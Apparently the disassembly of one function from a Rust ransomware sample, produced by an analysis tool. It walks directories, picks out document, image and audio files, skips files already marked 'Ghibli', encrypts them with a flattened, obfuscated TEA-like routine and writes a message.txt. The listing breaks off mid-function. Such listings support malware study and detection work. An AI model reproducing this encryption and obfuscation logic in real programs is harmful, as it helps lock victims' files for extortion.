Function at 0x140001ad0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x428
movaps xmmword [rsp + 0x410], xmm6
mov rsi, qword [0x140104928]
movzx eax, byte [rsi]
mov ecx, 0xac
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x140003615
mov rdi, rax
movaps xmm0, xmmword [section..rdata]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [0x1400d8010]
movups xmmword [rax + 0x10], xmm0
movaps xmm0, xmmword [0x1400d8020]
movups xmmword [rax + 0x20], xmm0
movaps xmm0, xmmword [0x1400d8030]
movups xmmword [rax + 0x30], xmm0
movaps xmm0, xmmword [0x1400d8040]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [0x1400d8050]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [0x1400d8060]
movups xmmword [rax + 0x60], xmm0
movaps xmm0, xmmword [0x1400d8070]
movups xmmword [rax + 0x70], xmm0
movaps xmm0, xmmword [0x1400d8080]
movups xmmword [rax + 0x80], xmm0
movaps xmm0, xmmword [0x1400d8090]
movups xmmword [rax + 0x90], xmm0
movabs rax, 0x82cd1163ddb286a1
mov qword [rdi + 0xa0], rax
mov dword [rdi + 0xa8], 0x3c523049
movzx eax, byte [rsi]
mov ecx, 0xac
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x140003626
mov rbx, rax
movaps xmm0, xmmword [0x1400d80a0]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400d80b0]
movups xmmword [rax + 0x10], xmm1
movaps xmm2, xmmword [0x1400d80c0]
movups xmmword [rax + 0x20], xmm2
movaps xmm3, xmmword [0x1400d80d0]
movups xmmword [rax + 0x30], xmm3
movaps xmm4, xmmword [0x1400d80e0]
movups xmmword [rax + 0x40], xmm4
movaps xmm4, xmmword [0x1400d80f0]
movups xmmword [rax + 0x50], xmm4
movaps xmm4, xmmword [0x1400d8100]
movups xmmword [rax + 0x60], xmm4
movaps xmm4, xmmword [0x1400d8110]
movups xmmword [rax + 0x70], xmm4
movaps xmm4, xmmword [0x1400d8120]
movups xmmword [rax + 0x80], xmm4
movaps xmm4, xmmword [0x1400d8130]
movups xmmword [rax + 0x90], xmm4
movabs rax, 0xa9f8493ab2f4c1c0
mov qword [rbx + 0xa0], rax
mov dword [rbx + 0xa8], 0x16f572f
movups xmm4, xmmword [rdi]
movups xmm5, xmmword [rdi + 0x10]
xorps xmm4, xmm0
xorps xmm5, xmm1
movups xmmword [rbx], xmm4
movups xmmword [rbx + 0x10], xmm5
movups xmm0, xmmword [rdi + 0x20]
movups xmm1, xmmword [rdi + 0x30]
xorps xmm0, xmm2
xorps xmm1, xmm3
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm1
movups xmm0, xmmword [rdi + 0x40]
movups xmm1, xmmword [rdi + 0x50]
movups xmm2, xmmword [rbx + 0x40]
xorps xmm2, xmm0
movups xmm0, xmmword [rbx + 0x50]
xorps xmm0, xmm1
movups xmmword [rbx + 0x40], xmm2
movups xmmword [rbx + 0x50], xmm0
movups xmm0, xmmword [rdi + 0x60]
movups xmm1, xmmword [rdi + 0x70]
movups xmm2, xmmword [rbx + 0x60]
xorps xmm2, xmm0
movups xmm0, xmmword [rbx + 0x70]
xorps xmm0, xmm1
movups xmmword [rbx + 0x60], xmm2
movups xmmword [rbx + 0x70], xmm0
movups xmm0, xmmword [rdi + 0x80]
movups xmm1, xmmword [rdi + 0x90]
movups xmm2, xmmword [rbx + 0x80]
xorps xmm2, xmm0
movups xmm0, xmmword [rbx + 0x90]
xorps xmm0, xmm1
movups xmmword [rbx + 0x80], xmm2
movups xmmword [rbx + 0x90], xmm0
mov rax, qword [rdi + 0xa0]
xor qword [rbx + 0xa0], rax
movzx eax, byte [rdi + 0xa8]
xor byte [rbx + 0xa8], al
movzx eax, byte [rdi + 0xa9]
xor byte [rbx + 0xa9], al
movzx eax, byte [rdi + 0xaa]
xor byte [rbx + 0xaa], al
movzx eax, byte [rdi + 0xab]
xor byte [rbx + 0xab], al
lea rcx, [rsp + 0x150]
mov r8d, 0xac
mov rdx, rbx
call dbg.from_utf8
cmp qword [rsp + 0x150], 0
je 0x140001d78
mov rax, qword [rsp + 0x158]
movzx ecx, byte [rsp + 0x160]
mov edx, dword [rsp + 0x161]
mov dword [rsp + 0x2d0], edx
mov edx, dword [rsp + 0x164]
mov dword [rsp + 0x2d3], edx
cmp cl, 2
jne 0x14000368f
mov edx, 0xac
mov r8d, 1
mov rcx, rdi
call sym.__rust_dealloc
movzx eax, byte [rsi]
mov ecx, 0xac
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x14000363a
mov rsi, rax
mov r8d, 0xac
mov rcx, rax
mov rdx, rbx
call sym.memcpy
mov edx, 0xac
mov r8d, 1
mov rcx, rbx
call sym.__rust_dealloc
lea rdx, str..message.txtError_creating_message_file:__n
lea rcx, [rsp + 0x2d0]
mov r8d, 1
mov qword [rsp + 0xe8], rsi
call sym.std::path::Path::to_path_buf::hf70bdcfa031eccf7
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x180], 0xa
mov qword [rsp + 0x188], 0
mov qword [rsp + 0x190], 0xffffffffffffffff
mov dword [rsp + 0x198], 0x100
movups xmm0, xmmword [rsp + 0x2d0]
movups xmm1, xmmword [rsp + 0x2e0]
movaps xmmword [rsp + 0x150], xmm0
movaps xmmword [rsp + 0x160], xmm1
lea rcx, [rsp + 0x2d0]
lea rdx, [rsp + 0x150]
call sym.__walkdir::WalkDir_as_core::iter::traits::collect::IntoIterator_::into_iter::h173f69398e64a146
lea rdi, [rsp + 0x150]
lea rdx, [rsp + 0x2d0]
mov r8d, 0xb8
mov rcx, rdi
call sym.memcpy
lea r12, [rsp + 0x398]
lea r15, [rsp + 0x240]
lea rbx, [rsp + 0x390]
lea rbp, [rsp + 0x108]
lea rsi, [rsp + 0x238]
xorps xmm6, xmm6
jmp 0x140001f40
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x110], r13
mov qword [rsp + 0xa0], rbp
lea rax, [sym.__std::path::Display_as_core::fmt::Debug_::fmt::h3df5f6d971fda65d]
mov qword [rsp + 0xa8], rax
lea rax, str.Skipping_already_encrypted_file:
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x30]
call dbg._print
nop word cs:[rax + rax]
mov rdx, qword [rsp + 0x288]
test rdx, rdx
je 0x140001f40
mov rcx, qword [rsp + 0x280]
mov r8d, 1
call sym.__rust_dealloc
mov rcx, rbx
mov rdx, rdi
call sym.__walkdir::IntoIter_as_core::iter::traits::iterator::Iterator_::next::h35f0dbdbba2d1429
mov rax, qword [rsp + 0x390]
cmp rax, 3
je 0x1400033b1
cmp eax, 2
jne 0x140002010
mov rax, qword [r12 + 0x40]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmm3, xmmword [r12 + 0x30]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea r14, [rsp + 0x30]
mov qword [rsp + 0xa0], r14
lea rax, [sym.__walkdir::error::Error_as_core::fmt::Display_::fmt::h3c7e60de7d1bf9da]
mov qword [rsp + 0xa8], rax
lea rax, str.Error_reading_directory_entry:
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], 2
mov qword [rsp + 0x128], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], 1
mov rcx, rbp
call dbg._eprint
mov rcx, r14
call sym.core::ptr::drop_in_place_walkdir::error::Error_::h2e19f335fe9023d4
jmp 0x140001f40
mov rcx, qword [r12 + 0x40]
mov qword [r15 + 0x40], rcx
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmm3, xmmword [r12 + 0x30]
movups xmmword [r15 + 0x30], xmm3
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
movups xmm0, xmmword [r12 + 0x48]
movups xmm1, xmmword [r12 + 0x58]
movups xmm2, xmmword [r12 + 0x68]
movups xmmword [r15 + 0x68], xmm2
movups xmmword [r15 + 0x58], xmm1
movups xmmword [r15 + 0x48], xmm0
mov qword [rsp + 0x238], rax
mov rcx, rsi
call sym.walkdir::dent::DirEntry::path::h7c707b001941136b
mov r14, rax
mov r13, rdx
mov rcx, rax
call dbg.is_file
test al, al
je 0x140001f20
mov rcx, r14
mov rdx, r13
call sym.std::path::Path::file_stem::h995b3b5781f7cfe4
test rax, rax
je 0x1400020de
mov r8, rdx
lea rcx, [rsp + 0x30]
mov rdx, rax
call dbg.try_from
cmp qword [rsp + 0x30], 0
jne 0x1400020de
mov rax, qword [rsp + 0x38]
test rax, rax
je 0x1400020de
cmp qword [rsp + 0x40], 6
jb 0x1400020de
mov ecx, dword [rax]
mov edx, 0x62696847
xor ecx, edx
movzx eax, word [rax + 4]
xor eax, 0x696c
or eax, ecx
je 0x140001ead
mov qword [rsp + 0x80], r14
mov rcx, r14
mov rdx, r13
call dbg.extension
test rax, rax
lea rbx, [rsp + 0x390]
je 0x140001f20
mov r8, rdx
lea rcx, [rsp + 0x30]
mov rdx, rax
call dbg.try_from
cmp qword [rsp + 0x30], 0
lea rbx, [rsp + 0x390]
mov r8, qword [rsp + 0x80]
jne 0x140001f20
mov rax, qword [rsp + 0x38]
test rax, rax
je 0x140001f20
cmp qword [rsp + 0x40], 3
jne 0x140001f20
movzx ecx, word [rax]
xor ecx, 0x6e70
movzx edx, byte [rax + 2]
xor edx, 0x67
or dx, cx
je 0x1400021ca
movzx ecx, word [rax]
xor ecx, 0x7874
movzx edx, byte [rax + 2]
xor edx, 0x74
or dx, cx
je 0x1400021ca
movzx ecx, word [rax]
xor ecx, 0x706a
movzx edx, byte [rax + 2]
xor edx, 0x67
or dx, cx
je 0x1400021ca
movzx ecx, word [rax]
xor ecx, 0x6f64
movzx edx, byte [rax + 2]
xor edx, 0x63
or dx, cx
je 0x1400021ca
movzx ecx, word [rax]
xor ecx, 0x6470
movzx edx, byte [rax + 2]
xor edx, 0x66
or dx, cx
je 0x1400021ca
movzx ecx, word [rax]
xor ecx, 0x706d
movzx eax, byte [rax + 2]
xor eax, 0x33
or ax, cx
jne 0x140001f20
mov qword [rsp + 0x108], r8
mov qword [rsp + 0x110], r13
mov qword [rsp + 0xa0], rbp
lea rax, [sym.__std::path::Display_as_core::fmt::Debug_::fmt::h3df5f6d971fda65d]
mov qword [rsp + 0xa8], rax
lea rax, [0x1400d8360]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x30]
call dbg._print
lea rcx, [rsp + 0x30]
call sym.std::fs::OpenOptions::new::h00b548e601c0f2b8
lea rcx, [rsp + 0x30]
mov dl, 1
call sym.std::fs::OpenOptions::read::h0bd9e6194d39d32b
mov rcx, rax
mov rdx, qword [rsp + 0x80]
mov r8, r13
call sym.std::fs::OpenOptions::_open::he896709aed895608
mov r14, rdx
test rax, rax
je 0x140002292
mov qword [rsp + 0x30], r14
mov rax, qword [0x140104928]
movzx eax, byte [rax]
mov ecx, 8
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x140003601
mov rbx, rax
mov qword [rax], r14
jmp 0x140002336
mov qword [rsp + 0x90], r14
mov qword [rsp + 0xf0], 1
lea rax, [rsp + 0xf8]
movups xmmword [rax], xmm6
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x90]
lea r8, [rsp + 0xf0]
call sym.__std::fs::File_as_std::io::Read_::read_to_end::hecb6fbf8617a718d
cmp qword [rsp + 0x30], 0
je 0x14000241e
mov rsi, qword [rsp + 0x38]
mov qword [rsp + 0x30], rsi
mov rax, qword [0x140104928]
movzx eax, byte [rax]
mov ecx, 8
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x14000377c
mov rbx, rax
mov qword [rax], rsi
mov rdx, qword [rsp + 0xf8]
test rdx, rdx
je 0x140002329
mov rcx, qword [rsp + 0xf0]
mov r8d, 1
call sym.__rust_dealloc
mov rcx, qword [rsp + 0x90]
call fcn.1400d4ab4
mov r14, rdi
mov qword [rsp + 0xc0], rbx
lea rax, fcn.140001670
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], r13
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x108], rax
lea rax, [sym.__std::path::Display_as_core::fmt::Debug_::fmt::h3df5f6d971fda65d]
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x118], rax
lea rax, [sym.__alloc::boxed::Box_T_A__as_core::fmt::Display_::fmt::hcc18ca1e05848a31]
mov qword [rsp + 0x120], rax
lea rax, str.Error_encrypting_file_:
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 3
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], 2
lea rcx, [rsp + 0x30]
call dbg._eprint
mov rdi, qword [rsp + 0xc0]
mov rbx, qword [rsp + 0xc8]
mov rcx, rdi
call qword [rbx]
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x140002406
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call sym.__rust_dealloc
lea rsi, [rsp + 0x238]
mov rdi, r14
lea rbx, [rsp + 0x390]
jmp 0x140001f20
mov r14, qword [rsp + 0xf0]
mov r15, qword [rsp + 0x100]
mov ecx, 0x607a9232
xor r8d, r8d
jmp 0x140002450
mov r8d, 0xd93eef48
xor ecx, r8d
nop word cs:[rax + rax]
cmp ecx, 0xf7e757fe
jg 0x140002490
cmp ecx, 0xaef75c39
jg 0x1400024d0
cmp ecx, 0x9cde9f54
je 0x140002518
cmp ecx, 0xa2647413
je 0x140002550
cmp ecx, 0xa69f4ed6
jne 0x140002574
mov r8d, 0x51781929
xor ecx, r8d
jmp 0x140002450
cmp ecx, 0x45e0701b
jle 0x1400024fa
cmp ecx, 0x45e0701c
je 0x140002438
cmp ecx, 0x4793be6f
je 0x140002542
cmp ecx, 0x607a9232
jne 0x140002574
mov r8d, 0xde2a1046
xor ecx, r8d
jmp 0x140002450
cmp ecx, 0xaef75c3a
je 0x140002526
cmp ecx, 0xbe508274
je 0x14000255e
cmp ecx, 0xf5b4d342
jne 0x140002574
mov r8d, 0x5b438f78
xor ecx, r8d
jmp 0x140002450
cmp ecx, 0xa53aa1e
je 0x140002534
cmp ecx, 0x2ca21045
jne 0x14000256c
mov r8d, 0x8a3d5e93
xor ecx, r8d
jmp 0x140002450
mov r8d, 0x696a4c16
xor ecx, r8d
jmp 0x140002450
mov r8d, 0xe964e255
xor ecx, r8d
jmp 0x140002450
mov r8d, 0xa837de0d
xor ecx, r8d
jmp 0x140002450
mov r8d, 0x4dc01471
xor ecx, r8d
jmp 0x140002450
mov r8d, 0x8ec66456
xor ecx, r8d
jmp 0x140002450
mov r8d, 0xfbb0f268
xor ecx, r8d
jmp 0x140002450
cmp ecx, 0xf7e757ff
je 0x14000257c
xor ecx, r8d
jmp 0x140002450
test r15, r15
mov qword [rsp + 0x88], r13
je 0x140002fe8
js 0x14000378d
mov rax, qword [0x140104928]
movzx eax, byte [rax]
mov edx, 1
mov rcx, r15
call sym.__rust_alloc
test rax, rax
je 0x140003794
mov r13, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], 0
xor ebx, ebx
jmp 0x1400025ff
lea r12, [rsp + 0x398]
mov r15, qword [rsp + 0x140]
mov r14, qword [rsp + 0x138]
mov dword [r13 + rbx], edi
add rbx, 4
mov qword [rsp + 0x40], rbx
test r15, r15
je 0x140002fcc
mov qword [rsp + 0x148], r15
mov eax, 0x182be4d0
xor ecx, ecx
xor edi, edi
jmp 0x140002620
mov edi, 0x1586d6bf
mov ecx, 0xf4d82214
xor eax, ecx
nop
cmp eax, 0x182be4cf
jle 0x140002660
cmp eax, 0x352624ec
jle 0x140002690
cmp eax, 0x4c839470
jg 0x1400026e7
cmp eax, 0x352624ed
je 0x140002750
cmp eax, 0x4673277b
jne 0x1400026f6
rol edi, 0xa
mov ecx, 0xbf29aeea
xor eax, ecx
jmp 0x140002620
cmp eax, 0xf95a8990
jg 0x1400026c0
cmp eax, 0x98c213fa
je 0x1400026fd
cmp eax, 0xd0ca3059
je 0x140002733
cmp eax, 0xecf3c6c4
jne 0x1400026f6
rol edi, 0x1b
mov ecx, 0x3c39f69d
xor eax, ecx
jmp 0x140002620
cmp eax, 0x182be4d0
je 0x140002612
cmp eax, 0x2c4c9dda
je 0x140002721
cmp eax, 0x30f4bade
jne 0x1400026f6
add edi, 0x6a0e5e64
mov ecx, 0x76879da5
xor eax, ecx
jmp 0x140002620
cmp eax, 0xf95a8991
je 0x14000270f
cmp eax, 0xfec9f8c9
je 0x140002741
cmp eax, 0x23e004b
jne 0x1400026f6
xor edi, 0xd617a24
mov ecx, 0x32caba95
xor eax, ecx
jmp 0x140002620
cmp eax, 0x4c839471
jne 0x14000275e
rol edi, 6
mov ecx, 0x60cf09ab
xor eax, ecx
jmp 0x140002620
add edi, 0x6acd10e1
mov ecx, 0xe2287d62
xor eax, ecx
jmp 0x140002620
add edi, 0x6fba87ec
mov ecx, 0x61989a6b
xor eax, ecx
jmp 0x140002620
xor edi, 0xc01ee424
mov ecx, 0x2e729d91
xor eax, ecx
jmp 0x140002620
bswap edi
mov ecx, 0xe5ec14b4
xor eax, ecx
jmp 0x140002620
rol edi, 0x15
mov ecx, 0xb24a6cb8
xor eax, ecx
jmp 0x140002620
bswap edi
mov ecx, 0xcbefdc24
xor eax, ecx
jmp 0x140002620
cmp eax, 0x7aea6e98
jne 0x1400026f6
mov rcx, qword [rsp + 0x148]
cmp rcx, 8
mov r15d, 8
cmovb r15, rcx
lea rax, [r14 + r15]
mov qword [rsp + 0x138], rax
mov rax, rcx
sub rax, r15
mov qword [rsp + 0x140], rax
mov esi, 0xf1b0fe3d
xor eax, eax
mov r12d, edi
jmp 0x1400027b7
mov eax, 0xaaca4af5
xor esi, eax
cmp esi, 0xfd914c1d
jle 0x1400029a0
cmp esi, 0xfd914c1e
je 0x1400029d0
cmp esi, 0x575b06eb
jne 0x140002f75
mov ecx, 0xe6dd3b23
xor edx, edx
xor eax, eax
jmp 0x140002800
add eax, 0x8b1da2f7
mov edx, 0xd7c066b6
xor ecx, edx
nop word cs:[rax + rax]
cmp ecx, 0x2389038f
jg 0x140002850
cmp ecx, 0xe6dd3b22
jg 0x1400028d0
cmp ecx, 0xbe275367
je 0x140002922
cmp ecx, 0xd77aef95
je 0x140002962
cmp ecx, 0xe3a20ed5
jne 0x14000298c
rol eax, 0x1d
mov edx, 0x5d855db2
xor ecx, edx
jmp 0x140002800
cmp ecx, 0x34626862
jle 0x140002901
cmp ecx, 0x34626863
je 0x1400027e6
cmp ecx, 0x4185ccd1
je 0x140002953
cmp ecx, 0x5d6777c7
jne 0x14000298c
bswap eax
mov edx, eax
and edx, 0xf0f0f0f
shl edx, 4
shr eax, 4
and eax, 0xf0f0f0f
or eax, edx
mov edx, eax
and edx, 0x33333333
shr eax, 2
and eax, 0x33333333
lea eax, [rax + rdx*4]
mov edx, eax
and edx, 0x55555555
shr eax, 1
and eax, 0x55555555
lea eax, [rax + rdx*2]
mov edx, 0x69051fa4
xor ecx, edx
jmp 0x140002800
cmp ecx, 0xe6dd3b23
je 0x140002931
cmp ecx, 0xeb50f4ba
je 0x140002971
cmp ecx, 0x6a88695
jne 0x14000298c
add eax, 0x33050565
mov edx, 0x2d970b5e
xor ecx, edx
jmp 0x140002800
cmp ecx, 0x23890390
je 0x140002942
cmp ecx, 0x2b3f8dcb
jne 0x140002980
add eax, 0xfdc8079c
mov edx, 0x33839d9
xor ecx, edx
jmp 0x140002800
rol eax, 0x11
mov edx, 0x695dbcf2
xor ecx, edx
jmp 0x140002800
mov eax, 0xaf43c40a
mov edx, 0xd8dcf99
xor ecx, edx
jmp 0x140002800
xor eax, 0xb5440c63
mov edx, 0x25218505
xor ecx, edx
jmp 0x140002800
rol eax, 0x18
mov edx, 0x620ccf41
xor ecx, edx
jmp 0x140002800
rol eax, 6
mov edx, 0x96ff2344
xor ecx, edx
jmp 0x140002800
rol eax, 0xb
mov edx, 0xb637837d
xor ecx, edx
jmp 0x140002800
cmp ecx, 0x2807b412
je 0x140002a20
xor ecx, edx
jmp 0x140002800
cmp esi, 0xf1b0fe3d
jne 0x140002d6a
cmp qword [rsp + 0x148], 7
jbe 0x140002d7b
mov r12d, dword [r14]
mov edi, dword [r14 + 4]
jmp 0x140002f70
mov rax, qword [rsp + 0x38]
sub rax, rbx
cmp rax, 3
ja 0x1400029f6
mov r8d, 4
lea rcx, [rsp + 0x30]
mov rdx, rbx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h216e1c339865338e
mov rbx, qword [rsp + 0x40]
mov r13, qword [rsp + 0x30]
mov dword [r13 + rbx], r12d
add rbx, 4
mov qword [rsp + 0x40], rbx
mov eax, 0x5e3786e6
xor esi, eax
jmp 0x1400027b7
mov edx, 0xd530dfb3
xor r8d, r8d
xor ecx, ecx
jmp 0x140002a40
rol ecx, 0x1d
mov r8d, 0xff24281c
xor edx, r8d
nop dword [rax + rax]
cmp edx, 0xe8055f39
jg 0x140002a90
cmp edx, 0xccbc9315
jle 0x140002b10
cmp edx, 0xe10ab24e
jg 0x140002b45
cmp edx, 0xccbc9316
je 0x140002b9b
cmp edx, 0xd530dfb3
jne 0x140002c89
mov ecx, 0x441f0326
mov r8d, 0xd7afbaac
xor edx, r8d
jmp 0x140002a40
cmp edx, 0x29f651e
jle 0x140002ad0
cmp edx, 0x6e9a3309
jg 0x140002b6e
cmp edx, 0x29f651f
je 0x140002a2c
cmp edx, 0x6b696c21
jne 0x140002c89
add ecx, 0xfe57898e
mov r8d, 0xc3b25442
xor edx, r8d
jmp 0x140002a40
cmp edx, 0xe8055f3a
je 0x140002b8a
cmp edx, 0xfdbb4d03
je 0x140002c49
cmp edx, 0xe4e686
jne 0x140002c89
rol ecx, 0xf
mov r8d, 0xe8e1b9bc
xor edx, r8d
jmp 0x140002a40
cmp edx, 0x8392be85
je 0x140002c5d
cmp edx, 0xa75bddfe
je 0x140002c6d
cmp edx, 0xa8db3863
jne 0x140002c89
rol ecx, 0x14
mov r8d, 0xd1d681c5
xor edx, r8d
jmp 0x140002a40
cmp edx, 0xe10ab24f
je 0x140002bf2
cmp edx, 0xe7384d36
jne 0x140002c89
rol ecx, 0xa
mov r8d, 0x89a27e3c
xor edx, r8d
jmp 0x140002a40
cmp edx, 0x790db9a6
jne 0x140002c81
bswap ecx
mov r8d, 0x79e95f20
xor edx, r8d
jmp 0x140002a40
rol ecx, 4
mov r8d, 0x90fed75
xor edx, r8d
jmp 0x140002a40
bswap ecx
mov r8d, ecx
and r8d, 0xf0f0f0f
shl r8d, 4
shr ecx, 4
and ecx, 0xf0f0f0f
or ecx, r8d
mov r8d, ecx
and r8d, 0x33333333
shr ecx, 2
and ecx, 0x33333333
lea ecx, [rcx + r8*4]
mov r8d, ecx
and r8d, 0x55555555
shr ecx, 1
and ecx, 0x55555555
lea ecx, [rcx + r8*2]
mov r8d, 0x6be74ee8
xor edx, r8d
jmp 0x140002a40
bswap ecx
mov r8d, ecx
and r8d, 0xf0f0f0f
shl r8d, 4
shr ecx, 4
and ecx, 0xf0f0f0f
or ecx, r8d
mov r8d, ecx
and r8d, 0x33333333
shr ecx, 2
and ecx, 0x33333333
lea ecx, [rcx + r8*4]
mov r8d, ecx
and r8d, 0x55555555
shr ecx, 1
and ecx, 0x55555555
lea ecx, [rcx + r8*2]
mov r8d, 0x62980cca
xor edx, r8d
jmp 0x140002a40
add ecx, 0x6f47cfc8
mov r8d, 0x3107de15
xor edx, r8d
jmp 0x140002a40
bswap ecx
mov r8d, 0x64aaf3b3
xor edx, r8d
jmp 0x140002a40
add ecx, 0xb098104c
mov r8d, 0xcc32b1df
xor edx, r8d
jmp 0x140002a40
cmp edx, 0x6e9a330a
je 0x140002ca0
xor edx, r8d
jmp 0x140002a40
xor edx, edx
mov r8d, r12d
jmp 0x140002cdc
inc edx
mov r9d, r8d
shl r9d, 4
mov r10d, r8d
shr r10d, 5
xor r10d, r9d
add r10d, r8d
lea r9d, [rax + 0x47356f49]
xor r9d, r10d
add edi, r9d
cmp edx, 0x20
je 0x1400027b0
mov r10d, edi
shl r10d, 4
mov r9d, edi
shr r9d, 5
xor r9d, r10d
add r9d, edi
mov r10d, 0x9d61bf0c
xor r11d, r11d
cmp r10d, 0x9d61bf0c
jne 0x140002d32
jmp 0x140002d54
lea r12d, [rax + 0x6531537a]
xor r12d, r9d
add r12d, r8d
mov r11d, 0x11986cf9
mov r8d, r12d
xor r10d, r11d
cmp r10d, 0x9d61bf0c
je 0x140002d54
cmp r10d, 0x10e30764
je 0x140002d10
cmp r10d, 0x17b6b9d
je 0x140002cb0
xor r10d, r11d
cmp r10d, 0x9d61bf0c
jne 0x140002d32
add eax, ecx
mov r11d, 0x8d82b868
xor r10d, r11d
cmp r10d, 0x9d61bf0c
jne 0x140002d32
jmp 0x140002d54
cmp esi, 0xa3a6caf8
jne 0x140002f75
jmp 0x140002f80
xor eax, eax
mov ecx, 0xbd3aba06
xor edx, edx
jmp 0x140002d90
xor al, 0x32
mov edx, 0xd3047c8a
xor ecx, edx
nop
cmp ecx, 0xbd3aba05
jle 0x140002dd0
cmp ecx, 0x23eb8a11
jg 0x140002e10
cmp ecx, 0xd98b2f0a
jg 0x140002e6a
cmp ecx, 0xbd3aba06
je 0x140002ec7
cmp ecx, 0xd1c74ddf
jne 0x140002edd
add al, 0xf
mov edx, 0xf22cc7cd
xor ecx, edx
jmp 0x140002d90
cmp ecx, 0xa87e9710
jg 0x140002e40
cmp ecx, 0x9b5671e5
je 0x140002e80
cmp ecx, 0x9f8a7eec
je 0x140002eaa
cmp ecx, 0xa53b7556
jne 0x140002edd
xor al, 0x43
mov edx, 0x13821525
xor ecx, edx
jmp 0x140002d90
cmp ecx, 0x23eb8a12
je 0x140002d86
cmp ecx, 0x3b2fef77
je 0x140002e9c
cmp ecx, 0x7b7fa704
jne 0x140002edd
add al, 0xac
mov edx, 0xd3013015
xor ecx, edx
jmp 0x140002d90
cmp ecx, 0xa87e9711
je 0x140002e8e
cmp ecx, 0xa8c5911c
je 0x140002eb9
cmp ecx, 0xb6b96073
jne 0x140002edd
add al, 0xdf
mov edx, 0x677e2dac
xor ecx, edx
jmp 0x140002d90
cmp ecx, 0xf0eff698
jne 0x140002ed5
add al, 0x53
mov edx, 0x8b90519c
xor ecx, edx
jmp 0x140002d90
xor al, 8
mov edx, 0x3e6d04b3
xor ecx, edx
jmp 0x140002d90
add al, 0x2b
mov edx, 0x93517866
xor ecx, edx
jmp 0x140002d90
ror al, 1
mov edx, 0xe2a4c07c
xor ecx, edx
jmp 0x140002d90
rol al, 4
mov edx, 0x374feff0
xor ecx, edx
jmp 0x140002d90
add al, 2
mov edx, 0x3393e0f9
xor ecx, edx
jmp 0x140002d90
mov edx, 0x22b0c4ea
mov al, 0xbb
xor ecx, edx
jmp 0x140002d90
cmp ecx, 0xd98b2f0b
je 0x140002ee4
xor ecx, edx
jmp 0x140002d90
movzx eax, al
movabs rcx, 0x101010101010101
imul rax, rcx
mov qword [rsp + 0x108], rax
xor eax, eax
mov edi, 0xb00de5ec
cmp edi, 0xb00de5ec
jne 0x140002f2d
nop dword [rax]
mov rcx, rbp
mov rdx, r14
mov r8, r15
call sym.memcpy
mov eax, 0x51106f1
xor edi, eax
cmp edi, 0xb00de5ec
je 0x140002f10
cmp edi, 0xb51ce31d
je 0x140002f50
cmp edi, 0xdf7609f8
je 0x140002f69
xor edi, eax
cmp edi, 0xb00de5ec
jne 0x140002f2d
jmp 0x140002f10
mov eax, 0x6a6aeae5
mov r12d, dword [rsp + 0x108]
xor edi, eax
cmp edi, 0xb00de5ec
jne 0x140002f2d
jmp 0x140002f10
mov edi, dword [rsp + 0x10c]
mov eax, 0xa6ebf8d6
xor esi, eax
jmp 0x1400027b7
mov rax, qword [rsp + 0x38]
sub rax, rbx
cmp rax, 3
ja 0x1400025d0
mov r8d, 4
lea rcx, [rsp + 0x30]
mov rdx, rbx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h216e1c339865338e
lea r12, [rsp + 0x398]
mov r15, qword [rsp + 0x140]
mov r14, qword [rsp + 0x138]
mov r13, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
jmp 0x1400025e8
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
lea rsi, [rsp + 0x238]
lea rdi, [rsp + 0x150]
jmp 0x140002ff3
mov r14d, 1
xor ebx, ebx
xor r15d, r15d
lea rcx, [rsp + 0x30]
call sym.std::fs::OpenOptions::new::h00b548e601c0f2b8
lea rcx, [rsp + 0x30]
mov dl, 1
call sym.std::fs::OpenOptions::write::h3fe722f87b79a349
mov rcx, rax
mov dl, 1
call sym.std::fs::OpenOptions::create::h6869db05be565a8c
mov rcx, rax
mov dl, 1
